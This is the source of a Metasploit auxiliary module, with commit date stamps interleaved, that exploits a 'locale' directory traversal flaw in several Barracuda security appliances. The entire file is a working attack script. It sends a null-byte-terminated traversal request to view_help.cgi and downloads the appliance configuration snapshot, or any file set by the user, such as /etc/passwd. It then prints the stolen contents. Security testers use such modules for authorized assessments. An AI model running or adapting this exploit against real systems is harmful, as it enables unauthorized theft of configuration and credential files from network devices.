2010-10-10 01:42:26 +00:00
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##
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2014-10-17 16:47:33 +00:00
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# This module requires Metasploit: http://metasploit.com/download
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2013-10-15 18:50:46 +00:00
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# Current source: https://github.com/rapid7/metasploit-framework
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2010-10-10 01:42:26 +00:00
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##
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require 'msf/core'
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2016-03-08 13:02:44 +00:00
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class MetasploitModule < Msf::Auxiliary
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2010-10-10 01:42:26 +00:00
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2013-08-30 21:28:54 +00:00
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include Msf::Exploit::Remote::HttpClient
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include Msf::Auxiliary::Report
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include Msf::Auxiliary::Scanner
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2010-10-10 01:42:26 +00:00
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2013-08-30 21:28:54 +00:00
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def initialize
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super(
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'Name' => 'Barracuda Multiple Product "locale" Directory Traversal',
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'Description' => %q{
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This module exploits a directory traversal vulnerability present in
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serveral Barracuda products, including the Barracuda Spam and Virus Firewall,
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Barracuda SSL VPN, and the Barracuda Web Application Firewall. By default,
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this module will attempt to download the Barracuda configuration file.
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},
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'References' =>
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[
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['OSVDB', '68301'],
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['URL', 'http://secunia.com/advisories/41609/'],
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['EDB', '15130']
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],
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'Author' =>
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[
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'Tiago Ferreira <tiago.ccna[at]gmail.com>'
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],
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'DisclosureDate' => 'Oct 08 2010',
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'License' => MSF_LICENSE
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)
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2010-10-10 01:42:26 +00:00
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2013-08-30 21:28:54 +00:00
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register_options(
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[
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Opt::RPORT(8000),
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OptString.new('FILE', [ true, "Define the remote file to view, ex:/etc/passwd", '/mail/snapshot/config.snapshot']),
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2015-11-25 17:18:17 +00:00
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OptString.new('TARGETURI', [true, 'Barracuda vulnerable URI path', '/cgi-mod/view_help.cgi']),
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2013-08-30 21:28:54 +00:00
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], self.class)
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end
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2010-10-10 01:42:26 +00:00
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2013-08-30 21:28:54 +00:00
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def run_host(ip)
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2015-11-25 17:18:17 +00:00
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uri = normalize_uri(target_uri.path)
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2013-08-30 21:28:54 +00:00
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file = datastore['FILE']
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payload = "?locale=/../../../../../../..#{file}%00"
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2010-10-10 01:42:26 +00:00
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2015-11-25 17:18:17 +00:00
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print_status("#{full_uri} - Barracuda - Checking if remote server is vulnerable")
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2010-10-10 01:42:26 +00:00
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2013-08-30 21:28:54 +00:00
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res = send_request_raw(
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{
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'method' => 'GET',
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'uri' => uri + payload,
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}, 25)
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2010-10-10 01:42:26 +00:00
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2013-08-30 21:28:54 +00:00
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if res.nil?
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2015-11-25 17:18:17 +00:00
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print_error("#{full_uri} - Connection timed out")
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2013-08-30 21:28:54 +00:00
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return
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end
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2013-08-21 05:47:31 +00:00
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2013-08-30 21:28:54 +00:00
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if (res.code == 200 and res.body)
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if res.body.match(/\<html\>(.*)\<\/html\>/im)
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html = $1
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2010-10-10 01:42:26 +00:00
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2013-08-30 21:28:54 +00:00
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if res.body =~ /barracuda\.css/
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if html.length > 100
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file_data = html.gsub(%r{</?[^>]+?>}, '')
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2010-10-19 21:55:19 +00:00
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2015-11-25 17:18:17 +00:00
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print_good("#{full_uri} - Barracuda - Vulnerable")
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print_good("#{full_uri} - Barracuda - File Output:\n" + file_data + "\n")
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2013-08-30 21:28:54 +00:00
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else
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2015-11-25 17:18:17 +00:00
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print_error("#{full_uri} - Barracuda - Not vulnerable: HTML too short?")
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2013-08-30 21:28:54 +00:00
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end
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elsif res.body =~ /help_page/
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2015-11-25 17:18:17 +00:00
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print_error("#{full_uri} - Barracuda - Not vulnerable: Patched?")
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2013-08-30 21:28:54 +00:00
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else
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2015-11-25 17:18:17 +00:00
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print_error("#{full_uri} - Barracuda - File not found or permission denied")
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2013-08-30 21:28:54 +00:00
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end
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else
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2015-11-25 17:18:17 +00:00
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print_error("#{full_uri} - Barracuda - No HTML was returned")
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2013-08-30 21:28:54 +00:00
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end
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else
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2015-11-25 17:18:17 +00:00
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print_error("#{full_uri} - Barracuda - Unrecognized #{res.code} response")
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2013-08-30 21:28:54 +00:00
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end
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2010-10-10 01:42:26 +00:00
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2013-08-30 21:28:54 +00:00
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rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
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rescue ::Timeout::Error, ::Errno::EPIPE
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end
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2010-10-10 01:42:26 +00:00
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end
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